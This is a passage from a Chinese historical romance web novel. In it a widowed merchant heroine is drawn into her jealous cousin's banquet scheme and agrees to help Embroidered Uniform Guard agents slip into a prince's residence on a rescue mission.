“你派两个绝对信得过、口风紧、模样不惹眼的人,”薛嘉言顿了顿,目光直视吕舟,“去风筝胡同附近守着。什么都不用做,只需仔细看着,我爹……近来是否时常进出胡同里某间宅门。记下时辰、次数、有无旁人同行。若有可能,查一查那宅子里的女眷,可同其他人还有来往。” 吕舟闻言,如遭雷击,猛地抬起头,眼睛瞪得老大,结结巴巴道:“姑……姑娘!这……咱们老爷……老爷他一向……不是那种人啊!是不是有什么误会?或是旁人瞎传的闲话?”他跟随吕氏和薛千良多年,深知这位老爷性子跳脱爱玩,但在男女之事上,从未有过半分不妥的传闻,对夫人更是体贴敬重。 薛嘉言见他反应如此激烈,心中并无意外,她面上依旧没什么表情,只是眼神更沉了几分:“吕叔,你若是不放心旁人,怕他们嘴不严或看走了眼,便亲自去盯两日。最好想办法悄悄查一查那宅子里女子的底细,看看她是何来历,有无家人在京,与老爷是如何结识的。此事……我怀疑未必只是简单的风流债,或许另有隐情也未可知。” 前世那对母子出现的时机太过恰好,由不得她不多想一层。 吕舟听她说到这个份上,又见她神色凝重决绝,不似玩笑或赌气,知道此事非同小可。他深吸一口气,压下满心的惊涛骇浪,重重一拱手,沉声道:“是,姑娘。我……明白了。我这就去安排,必定小心谨慎。”说罢,他转身退下,脚步却显得有些沉重。 看着吕舟离开的背影,薛嘉言轻轻叹了口气。此事交给吕舟去查,她还算放心。但若想挖得更深,更快,更彻底…… 她脑中闪过一个人——苗菁。他若出手,只怕三两日便能把那对母子和父亲之间的隐秘查个底掉。但这段时间四王进京,只怕苗菁很是忙碌,得压一阵子再请他帮忙。 薛嘉言这边按下对父亲薛千良之事的疑虑,秘密着手查访。而此时的京城,随着先帝祭祀大典的日期日益临近,筹备工作紧锣密鼓,气氛也愈发肃穆紧张。与此同时,难得回京的几位王爷及其家眷,也并未闲着。 雍王府里,明真郡主姜明真正为即将举办的春日花宴忙碌着。她此番回京,一是奉旨祭祖,二也是存了联络旧日情谊、为自己和兄弟相看亲事的心思。她的母亲雍王妃亦有此意,女儿长大了,家中两个儿子渐次成年,婚事自然提上日程。这花宴,便是一个极好的由头。 明真郡主与肃国公府二房的嫡女薛思韫自幼交好,回京第二日,便特意下了帖子将薛思韫请到王府叙话。两个少女在精致的暖阁里,一边品着新贡的蜜饯,一边商议着花宴的细节,尤其是那份至关重要的宴客名单。 “……英国公府的几位姑娘自然是要请的,还有永安侯府、武安伯府……”明真郡主咬着笔杆,细细思量。 薛思韫在一旁帮忙补充,她心思灵动,人缘也好,对京中闺秀的情况如数家珍。名单列了大半,一个名字跳入薛思韫脑海。 她眼波流转,嘴角勾起一抹意味深长的浅笑,抬头对明真郡主道:“郡主,还有一人,或许也可一并请来,给咱们的花宴添些别样的热闹。” “哦?是谁?”明真郡主好奇。 “我那位……堂姐,薛嘉言。”薛思韫轻声道,见明真郡主面露疑惑,便抿唇一笑,细声解释,“郡主或许对她不熟,她如今可是咱们大兖朝头一份的传奇人物呢。她一个女流,竟撑起了偌大的福运商行,与鞑靼通商。更难得的是,朝廷还破格赐了她诰命,这可是开天辟地头一遭,正经是咱们大兖朝第一个被朝廷封赏的女商人!请她来,一来让京中那些眼皮子浅的夫人小姐们开开眼,瞧瞧咱们女子的能耐不止于内宅;二来,她那样的经历见识,聊起来想必也有趣得紧;三来嘛,你们家的封地就在与鞑靼通商的路上,她这么厉害,说不得还能帮你们赚点脂粉钱呢。” 明真郡主听完,眉头却几不可察地蹙了一下。她放下笔,想了想,语气带上了些许不确定道:“薛嘉言……就是你大伯父,当年从外头带回来的那个……外室生的私生女?” 薛思韫眼中闪过一丝不易察觉的冷光,面上笑容却不变,语气甚至更加柔和,带着一种认真:“郡主快别这么说。什么私生女呢?那可是过了明路的。朝廷的诰命文书上写得清清楚楚,是薛家明媒正娶的平妻吕氏所出的嫡女。礼部、宗人府都认了的,自然也是我们薛家正儿八经的嫡出姑娘。” 她将“朝廷认证”“平妻”、“嫡女”几个词咬得清晰,既像是在为薛嘉言正名,又隐隐透着一种难以言喻的微妙情绪。 明真郡主出身皇室,对这些嫡庶名分本就更敏感些,听薛思韫这么一说,倒也不好再抓着“外室私生”的话头。她撇了撇嘴,对于请一个商贾出身的女子来参加她精心筹备的闺秀花宴,心里其实并不十分乐意。但见薛思韫似乎很坚持,又想着多请一人也无妨,正好看看这位“传奇”究竟是何等人物,便也不再反对。 “罢了,既然思韫你觉得好,那便也给她下一张帖子吧。”明真郡主重新提起笔,在名单末尾不甚在意地添上了“戚薛氏”三个字,语气随意,“横竖花宴上人多,多她一个也不显眼。” 薛思韫看着她落笔,唇边的笑意深了些许,目光却投向窗外明媚的春光,不知在想些什么。 第146章 恶意 薛思韫提笔写完帖子,忽然想到薛嘉言尚在孝期,接到明真郡主的帖子后,定然会以此为借口推脱不来。这样一来便少了一场好戏看,心里那份隐隐的期待和恶意,便有些无处着落。 不行,得想个法子,让她“不得不来”。 念头一转,薛思韫脸上便绽开一抹温婉得体的笑容,侧身对明真郡主道:“郡主,我忽然想起一桩事来。刚刚过去的寒冬,是几十年不遇的酷寒,如今虽已入春,但青黄不接,各地因冻饿流离的百姓不知有多少呢。郡主心善仁厚,此番回京,正该让京城的世家大族们都看看,咱们宗室贵女不仅气度高华,更是心怀百姓的。” 她顿了顿,见明真郡主被吸引了注意力,才继续柔声道:“依我看,不如在花宴的帖子上添上一句,就说……为了体恤民生,帮助流离失所的灾民,花宴当日,会在园中设一‘慈恩箱’,各府小姐夫人若有心,可随意捐助些银钱或旧衣,也算是咱们闺阁女儿家的一份心意。此举既雅致,又显仁德,传出去,必是一段佳话。” 明真郡主闻言,眼睛一亮。她此番大张旗鼓举办花宴,本就存了在京城顶级社交圈展示自己、留下好名声,以便将来能顺理成章嫁回京城的心思。世人皆知宗室女往往骄矜傲气,她明真虽不至于太过,但从小金尊玉贵,脾气也是有的,从前也曾因小事当众责罚过下人。若能借此花宴,塑造一个“仁善亲民”的郡主形象,于她的名声和前途都大有裨益。 薛思韫这个提议,简直是正中下怀。 “思韫,你这个主意好!”明真郡主欣然应允,立刻吩咐身边女官,“就这么办,在帖子末尾加上这一句。‘慈恩箱’弄得雅致些,就放在水榭旁边。” 薛思韫含笑应了,心中却冷笑。加了这“慈善”的名头,花宴的性质就微妙地变了。它不再仅仅是闺阁嬉游,更带上了几分“共襄善举”的公众意味。 到时候,京中有头有脸的人家女眷多半会到场,捐多捐少,姿态如何,都会被看在眼里。薛嘉言若再以“守孝”为由推脱,就显得不仅是不给郡主面子,更是……“冷漠”“不恤民艰”。一个刚刚获得朝廷表彰“德行”的诰命夫人,却连象征性的慈善场合都不愿露面,这名声传出去,可就不那么好听了。 离开王府时,薛思韫“贴心”地拿走了本该由郡主府下人送往戚府的那张给薛嘉言的帖子,笑着对郡主说:“我与堂姐也有些时日未见了,正好顺路,便亲自给她送去吧。” 明真郡主不疑有他,自然应允。 马车辚辚驶离雍王府,薛思韫捏着那张轻飘飘的帖子,望着车窗外流动的街景,一时有些出神。 一旁的丫鬟翠云,是个嘴快没太多心眼的,见状忍不住低声嘟囔:“姑娘,您也太好性儿了。那位奶奶,如今名气够大了,满京城谁不知道她?偏您大度,明明跟她也没什么情分,还这般替她做脸,连郡主的花会都特意替她要了一张帖子来。婢子瞧着,她未必领情呢。” 薛思韫没说话,只是捏着帖子的手指,因用力而微微泛白。 翠云不懂。这哪里是“做脸”?这分明是……请君入瓮。 薛家人丁不旺,到了她们这一辈,姑娘统共只有三位。除了她和薛嘉言,就只剩三房一个才七八岁大的小丫头薛思雯。 她是二房嫡出的女儿,自小被父母捧在手心,锦衣玉食,诗书教养,样样都是按着最高标准来的。她一直觉得,自己才是薛家真正的嫡女,是未来能光耀门楣、联姻高门的掌上明珠。 可是,这份笃定的骄傲,在去年春天被击得粉碎。 春狩她明明救了皇上,皇上也赏了她,可宫里不知怎的,忽然派了姑姑将她身边的嬷嬷狠狠训斥了一顿,甚至还打了巴掌。其中的敲打意味,薛思韫自然懂了。 皇帝这是明明白白地告诉她,绝不会纳她进宫。 薛思韫为此消沉了足足几个月。她早就心悦那个俊美无俦的年轻帝王,少女怀春,加之家族若有若无的期盼,曾让她做过多少绮梦。可一盆冰水浇下来,梦碎得彻底。 家里开始张罗她的亲事,相看了几家,不是她觉得对方才貌平庸,就是家世不够显赫,配不上她国公府的姑娘,百般推脱。 薛思韫这般挑剔,父母已渐渐失了耐心,话里话外都是“今年务必定下”“不可再挑拣”。 薛思韫心中憋着一股无处发泄的闷气。她惦记着姜玄,见过那样的人物,旁的男子在她眼中自然成了庸碌之辈。可这份惦记注定无望,家里人还非逼着她嫁给那些庸碌之辈。偏偏就在这时,传来了薛嘉言被封为五品诰命夫人的消息! 薛思韫当时只觉得一股热血冲上头顶,气得险些摔了手中的茶盏。 她堂堂肃国公府嫡出的大小姐,琴棋书画样样精通,规矩礼仪无可挑剔,竟然……竟然比不过那个出身存疑、嫁了个穷举子又早早守寡的薛嘉言? 她原本以为,薛嘉言这辈子也就那样了,做个穷进士的妻,拿嫁妆银子养婆家一家,守寡后更是该活在泥地里,悄无声息。 谁曾想,这女人不知使了什么诡计手段,竟将生意做得风生水起,如今更是得了朝廷的诰命封赏!五品!她母亲辛苦操持内宅、相夫教子这么多年,也才是个五品诰命! 即便是她嫁入高门,一时半会也得不到诰命,若是夫君、儿子不争气,说不得一辈子也得不到。 两相对比,巨大的落差和嫉恨像毒蛇一样啃噬着薛思韫的心。她失落、挫败、不甘,以及面对父母催促时的烦躁焦虑,全都化作了对薛嘉言成功的深深怨恨。 凭什么?凭什么一个处处不如自己的人,反而走到了前面? 一时激愤之下,那个想要捉弄薛嘉言、让她在众人面前丢脸出丑的念头,便如鬼魅般滋生出来,再也压不下去。 薛思韫松开手,看着请帖上“戚薛氏”三个工整的字,嘴角缓缓勾起一丝冰冷而快意的弧度。 堂姐,你可一定要来啊,也叫我痛快一日。 第147章 糊涂人说糊涂话 薛思韫本就没打算亲自去送帖子,她捏着帖子,指尖轻轻划过上面雍王府的印鉴,嘴角噙着一丝冷笑。王府派去的寻常下人,怕是不够分量,三言两语就被薛嘉言用“孝期”的由头打发回来了。 她得派个“得力”的人去,一个能替她把那些不好明说、却又必须让对方领会的“厉害关系”,掰开揉碎了“提醒”过去的人。 她唤来了母亲身边一个姓刁的婆子。这婆子年近五十,面相天生带着几分刻薄寡恩,最是牙尖嘴利,惯会看人下菜碟,在国公府里也是个不讨喜却有些“用处”的角色。 “刁妈妈,”薛思韫将帖子递过去,“劳烦你跑一趟戚府,把这帖子亲自交到我那堂姐,薛大奶奶手里。务必当面交给她,再把下头这几句话,一字不落地交代清楚。” 她压低声音,细细叮嘱了一番。那刁婆子听得连连点头,脸上露出一种领会精神的谄媚又夹杂着跃跃欲试的亢奋:“二姑娘放心,老奴晓得轻重,定把差使办得漂漂亮亮。” 不多时,刁婆子便到了戚府门上。她并不下轿,只让跟车的小丫鬟前去叫门。 “我们妈妈要见你们奶奶,妈妈来送雍王府郡主的帖子,有几句话要当面跟你们奶奶说。” 守门的婆子听说是肃国公府二姑娘身边得力的妈妈,又提及是雍王府郡主的帖子,不敢怠慢,连忙进去通禀。 薛嘉言正在房中看着棠姐儿描红,闻言十分意外。她与薛思韫素无深交,跟雍王府的郡主更是陌路人,怎么会突然给她下了帖子呢。略一沉吟,她还是让人将婆子请到小花厅。 刁婆子进了花厅,并不像一般下人那般低头敛目,反而微昂着下巴,眼皮半抬不抬地扫了一眼厅内陈设,这才对着上首的薛嘉言,草草福了福身。 “老奴给奶奶请安。”声音干巴巴的,没什么温度。 薛嘉言微微颔首:“妈妈不必多礼。不知二妹妹有何事?” 刁婆子这才从怀中取出那张烫金请帖,递给了走过来的司雨。 “老奴是奉我家二姑娘之命,特来给夫人送帖子。这是雍王府明真郡主下的帖子,邀您三日后过府参加春日花宴。” 她顿了顿,见薛嘉言拿起帖子细看,便继续用那种平板中带着些许压迫感的语调说道:“郡主此番回京,首次设宴,遍请京中贵眷,实是难得的体面。这帖子,等闲人家求还求不来呢。” 薛嘉言放下帖子,抬眼看向刁婆子,眉头微蹙,声音平和却清晰地道:“烦请妈妈回禀二妹妹,并代我向郡主致谢。郡主盛情,我心领了。只是我新寡未久,孝期未满,按礼本当深居简出,实在不便赴宴饮之会,还请郡主见谅。” 刁婆子似乎早就料到她会这么说,耷拉的眼皮下精光一闪,嘴角撇了撇,立刻接话道:“哎哟,您这话说的……可就不大妥当了。” 她拖长了调子,“这孝期再大,还能大得过王权去?郡主是雍亲王的掌上明珠,金枝玉叶,难得回京一趟,头回下帖相请,那是天大的脸面。您若不去,这……这岂不是明晃晃地打了郡主的脸,拂了王府的颜面?这要是传出去,旁人可不会说您守礼,只会说您……狂妄自大,目中无人呢。” 她见薛嘉言面色不变,又咄咄逼人道:“再说了,夫人,这回的花宴可不比寻常。郡主仁善,心系今春受灾的百姓,特在宴上设了‘慈恩箱’,邀各家夫人小姐共襄善举。您如今是什么身份?朝廷亲封的诰命宜人!是咱们大兖朝女子经商的头一份榜样!这样的场合,您若缺席,旁人会怎么想?是觉得您不屑于这诰命荣光,还是觉得您连这点恤民之心都没有,连朝廷的脸面……也一并打了?” 这番话连消带打,将“孝期”踩在脚下,又把“郡主颜面”“朝廷脸面”、“榜样责任”几顶大帽子一顶接一顶地扣下来。刁婆子自觉说得滴水不漏,高明极了,脸上不禁露出几分得意之色,斜睨着薛嘉言,等着看她如何应对。 薛嘉言心中却是冷笑。这婆子看似厉害,实则糊涂。皇家素来标榜“以孝治天下”,便是皇帝本人,若非极特殊情况,也不能强令臣子在重孝期内宴乐。一个郡主,再尊贵,在这大义名分面前也得让步。这婆子拿着鸡毛当令箭,言语粗鄙,逻辑混乱,与她多费口舌纯属浪费精神。 她已打定主意,届时不去便是,但礼数上不能有亏。多备一份厚礼,再以戚家或福运商行的名义,往那“慈恩箱”里捐上一笔可观的善款,既全了郡主“募捐”的体面,也堵了那些说她“无恤民之心”的嘴。 至于薛思韫和这婆子……她们爱怎么想便怎么想罢。 想到这里,薛嘉言面色依旧平静,甚至懒得与这婆子争辩,只淡淡道:“帖子我收着,届时自会有所安排。妈妈请回吧。”这便是端茶送客的意思了。 刁婆子见她并无激烈反驳,只当自己一番“厉害话”镇住了对方,让这位诰命夫人不得不屈从,心中更是得意,自觉圆满完成了二姑娘交代的“务必让她明白厉害”的差使,便心满意足地告辞离去,脚步都透着轻快。 薛嘉言看着那婆子离开,摇了摇头,将帖子随手放在一旁,并未十分放在心上。她本就无意掺和这些闺阁宴饮,更不愿去应付薛思韫可能的刁难。 然而,她没料到的是,当日下午,天色将暮未暮之时,戚家悄无声息地来了一个人。 竟是苗菁。 他依旧是一身利落的劲装,外罩一件不起眼的深色披风,眉宇间带着惯有的冷静,只是眼底深处,似乎比往日多了几分不易察觉的凝重。 “苗大人?”薛嘉言十分意外,忙请他入座,又让心腹丫鬟上了茶,屏退了左右,“大人此时来访,可是有何要事?” 她与苗菁因郭晓芸之故相识,又有姜玄那层隐秘关系在,彼此算是有几分心照不宣的信任。 苗菁并未过多寒暄,接过茶盏略沾了沾唇便放下,目光直视薛嘉言,开门见山道:“薛宜人,冒昧打扰。确有一事,想请你帮忙。” 第148章 请您去花会 薛嘉言心头一紧,正色道:“苗大人请讲,若我能为,绝不推辞。” “雍王府三日后举办的花宴,”苗菁声音压得很低,确保只有两人能听见,“请帖,你应该收到了吧?” 薛嘉言点头:“收到了。只是我尚在孝期,本不打算赴宴。” 苗菁道:“您能去参加花会吗?” 薛嘉言眼中讶色更浓:“为何?” 苗菁道:“雍王府内,秘密软禁了一位身份特殊的女眷。我受命,必须将她安全救出。但王府戒备森严,常规手段难以潜入,更易打草惊伤及人质。三日后花宴,王府门禁相对松懈,内宅女眷往来众多,正是趁乱行事、暗中将人带出的最好时机。” 他顿了顿,看着薛嘉言:“我需要一个合适的‘内应’,或者说,一个能光明正大带着‘自己人’进入内宅,且不会引起过多怀疑的身份。我翻查了花宴的宾客名单,仔细筛选,正好看到了你的名字。你是受邀请的诰命夫人,带丫鬟婆子入府合情合理。更重要的是,”他目光深邃,“我信得过你。” 薛嘉言听得心头震动。雍王府软禁女眷?身份特殊重要到需要苗菁这等人物亲自策划营救?这绝非小事!联想到近日藩王入京的敏感时局,她瞬间明白,此事背后牵扯的,恐怕远不止一桩普通的挟持。 她没有犹豫,立刻道:“我明白了。苗大人需要我做什么?我一定配合。” 见她答应得如此爽快,苗菁眼中掠过一丝赞许,语气也缓和了些:“你无需做任何特别之事,更不必亲身涉险。你只需像一位寻常赴宴的宾客一样,准时前往雍王府,参加花宴。届时,我会安排两名得力手下,乔装改扮成你的贴身丫鬟和随行婆子,跟着你一同进入王府。进入内宅后,她们自会找机会脱离,去执行营救任务。你的任务,就是扮演好‘薛宜人’这个角色,正常交际,必要时,为她们的短暂离开提供合理的掩护或解释。事成之后,她们会想办法再回到你身边,或者以其他方式安全撤离,绝不会牵连到你。” 薛嘉言仔细听着,将每一个要点记在心里。这任务听起来似乎只是“带人进去”,但身处龙潭虎穴,又要自然从容,压力可想而知。可一想到此事关乎重大,甚至可能间接影响到姜玄,她便觉得义不容辞。 “好,我记下了。”她郑重应承,“我会准时赴宴,也会尽力配合。那两位姑娘……妈妈,届时如何与我汇合?又该如何辨认?” “细节我会再安排人通知你,确保万无一失。”苗菁站起身,拱手道,“此事凶险,本不该将你卷入。但情势所迫,不得不为。苗某先行谢过!” “苗大人客气了,你帮了我那么多次,这不过是小事罢了。”薛嘉言也起身还礼。 第二日上午,吃完早饭不久,戚家便来了两位女子。 薛嘉言心知应是苗菁安排的人到了,忙吩咐请进来,并直接将人引到自己日常起居的暖阁。 不多时,丫鬟引着两人走了进来。当先一位瞧着三十五六岁的年纪,穿着一身半新不旧的靛蓝色棉布衣裙,头发挽成利落的圆髻,插着一根素银簪子,面容普通,肤色微黑,眼角有些细纹,看着像个操持家务、性情爽利的寻常妇人。 跟在她身后的少女约莫十八九岁,穿着水红色的衫子,外罩一件杏色比甲,眉眼清秀,带着几分少女的腼腆,规规矩矩地垂着眼,手里还挎着个小包袱,活脱脱一个跟着长辈出门走亲戚的害羞姑娘。 两人进了暖阁,先是依着礼数,对着薛嘉言福了福身,口称“给奶奶请安”,声音一个温厚,一个细软,举止也与一般内宅女眷无异。 薛嘉言心中暗自点头,苗菁手下果然能人辈出,这乔装改扮的本事,若非事先知情,任谁也瞧不出破绽。她面上不露声色,屏退下人,只留二人说话。 几乎是门扉合拢的同一瞬间,那两位“女客”周身的气质陡然一变。 方才还微微含胸垂首的“妇人”倏地挺直了腰背,肩颈线条瞬间利落如松,方才那点刻意营造的市井妇人的温吞气息消散无踪,取而代之的是一种久经训练、内敛而锐利的精气神。她旁边的“少女”也抬起头,眼中的腼腆羞涩一扫而空,目光清亮有神,站姿悄然改变,虽仍显年轻,却自有一股挺拔之气。 两人几乎同时动作,双手抱拳,对着薛嘉言行了一个干净利落的拱手礼,动作整齐划一,带着明显的军中或衙门痕迹,绝非闺阁女子所能为。 “锦衣卫北镇抚司总旗,蓝鹰,见过薛宜人。”年长的妇人开口,声音依旧不高,却褪去了伪装出的温厚,变得清晰沉稳,带着一股子飒爽劲儿。 “锦衣卫北镇抚司小旗,红鸾,见过薛宜人。”少女紧随其后,声音清脆,吐字清晰。 薛嘉言看着眼前判若两人的两位女子,心中又是惊讶又是赞叹。她连忙虚扶一下:“两位姑娘快快请起,不必多礼。” 蓝鹰直起身,脸上露出一个爽朗的笑容,这笑容让她那张原本普通的面孔顿时生动明亮起来:“宜人客气了。该是我们感谢您才对,给了我们这次立功的机会。苗大人已将任务详情告知,宜人放心,我们定当竭尽全力,确保事成,也必会护宜人周全。” 她言谈举止干脆利落,毫不扭捏,带着一种薛嘉言在寻常后宅女子身上极少见到的坦荡与自信。 薛嘉言看着,不知怎的,心里便生出几分喜欢和羡慕来。她见过的女子,或柔婉,或精明,或怯懦,或跋扈,却少有这般如同山间劲松、空中苍鹰般的气质。 好奇心起,薛嘉言忍不住问道:“蓝……蓝姑娘,你们是真有功夫在身的吗?” 第149章 去王府 蓝鹰闻言,与红鸾相视一笑,那笑容里带着几分了然和些许属于行家的淡淡傲气。 “宜人既然问起,红鸾,给宜人略展示一下,也好让宜人安心。” 那名唤红鸾的少女应了声“是”,脸上露出一点属于她这个年纪的活泼笑意。她先是对薛嘉言点了点头,示意她注意看,然后目光在暖阁内快速一扫。 暖阁不算特别宽敞,但屋顶颇高,房梁粗大。只见红鸾足下微微一动,也未见她如何用力作势,身子便已轻飘飘地掠了出去。 红鸾足尖在侧面光洁的墙壁上极其轻巧的一点,借力向上,另一只脚紧接着又在更高处一蹬,身姿舒展如燕,动作快得几乎让人看不清细节,只听衣袂带起的轻微风声,再看时,她已如一片羽毛般,稳稳地蹲在了高高的房梁之上,竟连梁上的灰尘都未曾惊起多少。 薛嘉言仰头看着,惊讶地微微张开了口。这暖阁的墙壁光滑,并无着力之处,红鸾却如履平地般“走”了上去,这简直是……话本里才有的身手! 红鸾蹲在梁上,对着下方的薛嘉言嫣然一笑,随即又是一个干脆利落的翻身,头下脚上,却在下坠过程中灵巧地调整姿态,最后双足轻轻落地,点尘不惊,连裙摆都只是微微晃动了一下,便已重新站定在薛嘉言面前,气息匀停,仿佛刚才那番惊人的举动不过是走了两步路一般。 “好……好厉害!”薛嘉言由衷地赞道,眼中满是惊叹。她从未亲眼见过这等本事,只觉得既新奇又震撼。 蓝鹰笑了笑,语气平淡却带着毋庸置疑的自信:“宜人见笑了,这只是最基础的轻身功夫,便于潜入、探查、脱身。我们锦衣卫办案,所需技艺繁杂,有些……便不便在此展示了。” 她顿了顿,目光微沉,语气也多了几分肃然,“比如辨识与配制各类药物、设置机关消息、暗杀格斗之术等等。宜人只需知道,我们既领了命,便有十足的把握完成任务,并将风险降至最低。” 薛嘉言听得心头凛然,却也更加安心。苗菁派来的人,果然非同一般。有这样两位身怀绝技的女子在身边,纵使那雍王府是龙潭虎穴,似乎也多了几分闯一闯的底气。 “有劳二位了。”薛嘉言再次郑重道,“两日后,便仰仗二位。需要我如何配合,二位尽管吩咐。” 蓝鹰与红鸾齐齐抱拳:“遵命!” 春日晴好,雍王府邸内早已是花团锦簇,衣香鬓影。 薛嘉言乘坐的马车在角门外停下,她扶着拾英的手稳稳下车,身后跟着低眉顺目的蓝鹰与红鸾。 今日的薛嘉言,穿着一身素净雅致的米色长褙子,外罩同色暗花比甲,发髻上只簪了两支素银镶珍珠的簪子,脂粉淡施,既符合她新寡守孝的身份,又不失诰命夫人的端方气度。 王府接待的女管事早已候着,验看过帖子,笑容得体地将她们主仆迎入。 按照规矩,赴宴的夫人小姐们身边大多只能带一名贴身丫鬟进入正宴的花园水榭,其余仆从则被引至专设的偏院等候。 “拾英随我进去,”薛嘉言声音平和,目光不经意地扫过蓝鹰和红鸾,“你们二人就在此处等候,莫要乱走,仔细规矩。” 蓝鹰和红鸾立刻垂首,恭敬应道:“是,夫人放心,奴婢们晓得。”那姿态语气,与寻常人家谨慎本分的婆子别无二致。 待薛嘉言带着拾英随着引路丫鬟往花园深处走去,身影消失在月洞门后,偏院里等候的各家仆妇丫鬟渐渐活络起来,三三两两聚在一处低声说话,或是在院中提供的条凳上歇脚。 蓝鹰与红鸾交换了一个极快的眼神。蓝鹰揉了揉额角,对身旁一个面善的王府仆妇露出些微难色,低声道:“这位嫂子,不知净房在何处?” 那仆妇不疑有他,随手一指:“出了这院子往东,穿过那片竹林,靠墙有一排厢房,厢房后面便是。” “多谢嫂子。”蓝鹰道了谢,又对红鸾使了个眼色,“丫头,陪我去吧。” 红鸾连忙搀住她,两人慢悠悠地出了偏院,朝着竹林方向走去。一入竹林,远离了众人视线,两人步伐瞬间加快,身形也灵动起来。她们并未真去净房,而是依据提前看过的王府简图和此刻观察,迅速闪入一条僻静的回廊。 两人候到两个王府的丫鬟过来,迅速出手将人打晕,拖进旁边一间看似闲置的客房。 不过片刻,两人已换上王府丫鬟统一的浅碧色衫裙,将昏迷的真丫鬟结结实实捆好,堵住嘴,塞进了客房的床榻之下,并用帷幔略作遮掩。蓝鹰甚至顺手从丫鬟身上摸出两块对牌和一小串钥匙——这在王府内行走,或许用得上。 “走。”蓝鹰低声吩咐,两人迅速整理了一下鬓发,低眉顺眼地走了出去,汇入王府内往来穿梭的仆役人流中,朝着内宅更深处走去。 另一边,薛嘉言在拾英的搀扶下,步入王府精心布置的花宴会场。宴会设在后花园临水的敞轩和相连的曲折回廊之中,四周奇花异草争妍斗艳,丝竹之声隐约可闻,空气中浮动着甜腻的花香与脂粉香气。 薛嘉言来的时辰不早不晚,敞轩内和廊下已经聚了不少盛装打扮的夫人小姐,珠环翠绕,笑语嫣然。 她目光平静地扫过人群,只认出寥寥几个熟面孔。她的堂妹薛思韫,正被几位贵女簇拥着,不知说了什么趣事,引得一片娇笑。 薛思韫今日打扮得格外明艳,一身鹅黄缕金百蝶穿花云缎裙,发间赤金点翠步摇微微颤动,光彩照人。她似乎也看到了薛嘉言,遥遥地望了一眼,嘴角勾起一抹意味不明的浅笑,并未立刻过来。 另外两个,是高家的一对姐妹,曾在国公府有过一面之缘。她们也注意到了薛嘉言,交头接耳低语了几句,眼神中带着审视。 薛嘉言寻了一处相对安静、靠近廊柱的位置坐下,拾英无声地立在她身后。薛嘉言能感觉到,一些或明或暗的目光开始落在自己身上,尤其是她隆起的腹部和素净的打扮,与周遭的华丽喧闹形成微妙对比。 第150章 不在乎 雍王府的花会上,女眷们的窃窃私语如同水面的涟漪,渐渐扩散开来。 “廊柱前头坐着的那位是?” “看着面生,是哪家的夫人?怎地穿着如此素净?” “她啊……肃国公府大老爷的姑娘,就是前阵子公公被活剐了的那个……” “哦!就是那个!前阵子得了朝廷诰封的……女商人?” “对对对,就是她!福运商行的大东家,薛嘉言。” “啧,她不是还在孝期吗?怎么好参加花会。“” “可不是,还大着肚子……也不避讳些。” “许是觉得得了诰命,便与众不同了吧。” “……” 她们目光里的好奇渐渐掺杂了更多的审视、比较,以及一种难以掩饰的、属于这个阶层对异类固有的疏离与淡淡的鄙夷。她们或许钦佩她的能力,或许好奇她的际遇,但在此刻这个纯粹由世家贵族女眷构成的圈子里,薛嘉言以商人获封诰命的特殊身份,更像是一个被远观、品评,却难以真正融入的异端。 薛嘉言端坐不动,面色沉静如水,仿佛对那些目光和低语毫无所觉。她今日来不过是给苗菁做个幌子,随别人怎么看怎么说,无所谓,还能比前世说得更难听吗? 丝竹声渐缓,敞轩入口处传来一阵轻微的骚动与更热烈的问候声。薛嘉言抬眸望去,只见一位明艳的少女在一群丫鬟嬷嬷的簇拥下,款款走了进来,看样子应该就是今日的主角明真郡主。 明真郡主穿着一身红色遍地金绣折枝牡丹的宫装长裙,外罩一层轻薄如烟的绯色绡纱,行动间流光溢彩。梳着繁复华丽的飞仙髻,正中戴着赤金点翠牡丹华盛,两侧各插一支衔珠金凤步摇,额前垂下细细的珍珠流苏,映得一张精心妆扮过的脸庞明艳不可方物。 她脸上带着恰到好处的笑容,既不显得过分高傲,又保持了皇室贵女应有的矜贵气度,一边走着,一边向两旁相熟或上前见礼的夫人小姐们颔首致意,偶尔停下寒暄一两句,引得周围一片奉承与欢笑。 明真郡主如同众星拱月般,缓缓穿过人群。走过那道通往水榭的回廊时,眼角余光瞥见廊柱旁安静坐着的身影。那身影衣着素淡,与周遭的姹紫嫣红格格不入,尤其那明显隆起的腹部,在满堂纤细袅娜的少女少妇中,显得格外突兀。 明真郡主脚步未停,脸上笑容不变,只微微侧首,对紧跟在身侧的薛思韫用几乎听不见的气音问道:“那位独自坐着的夫人……瞧着面生,是谁家的?” 薛思韫立刻低声回道:“回郡主,那就是我那位堂姐,前阵子刚得了诰封的薛宜人。” 明真郡主眉头几不可察地蹙了一下,脚下微微一滞,脸色有瞬间的阴沉,但很快恢复如常。 与众人寒暄后,明真郡主以更衣为由,暂时离席。她起身时,拉了拉薛思韫的衣袖。 薛思韫心领神会,连忙跟上。 两人一前一后,穿过一道垂花门,来到一处相对僻静的暖阁窗前。 明真郡主停下脚步,脸上的笑容彻底收敛,转过身,一双美目带着明显的不悦和责备,看向薛思韫斥道:“思韫,你是怎么想的?你那位堂姐,还大着肚子呢!这样身子不便的人,你怎么也往我这儿请?今日人多手杂,万一她在我这儿有个什么闪失,或是突然不适,传出去成什么样子?说是我雍王府的花宴,累得诰命夫人动了胎气?真是麻烦!” 薛思韫没料到郡主反应这么大,顿时有些尴尬,只得支吾着辩解:“郡主息怒,是我疏忽了。我也许久不曾见她,上回派人去送帖子时,才知道她肚子这般大了。我也劝过她,说身子不便就不必勉强,她当时也是答应了的……谁、谁知道她今日还是来了……” 明真郡主听了,眉头皱得更紧。她今日作为主人,要操心的事情实在太多,还要维持自己的完美形象,实在不想再多一桩不可控的意外。 她不耐烦地挥了挥手,打断了薛思韫的辩解:“罢了罢了,现在说这些有什么用?人既是你带来的,又是你堂姐,今日你就多费心,照应一下她,别出了什么事,明白了吗?” 薛思韫连忙点头如捣蒜:“是是是,郡主放心,我一定看好堂姐,绝不给您添麻烦。” 明真郡主见她应承下来,脸色稍霁,又想起什么,沉吟片刻道:“不过……等会闲下来的时候,你把她带过来,我倒是真有些话,想私下问问她。” “是,郡主,等她休息时,我便带她过来。”薛思韫再次应下。 雍王府的春日花会,宾客多是青春正盛的闺阁少女与年轻妇人。 经过一个漫长憋闷的寒冬,好不容易能走出深闺,踏青赏花,与同龄人相聚,人人都攒着一股想要尽情玩乐的劲儿。更兼其中不少到了适婚年纪的女孩,心中都存着几分在这样高规格的场合展示才艺、崭露头角的心思。明真郡主深谙此道,早已备下了琳琅满目的雅戏玩意儿,将这场花宴装点得既风雅又热闹。 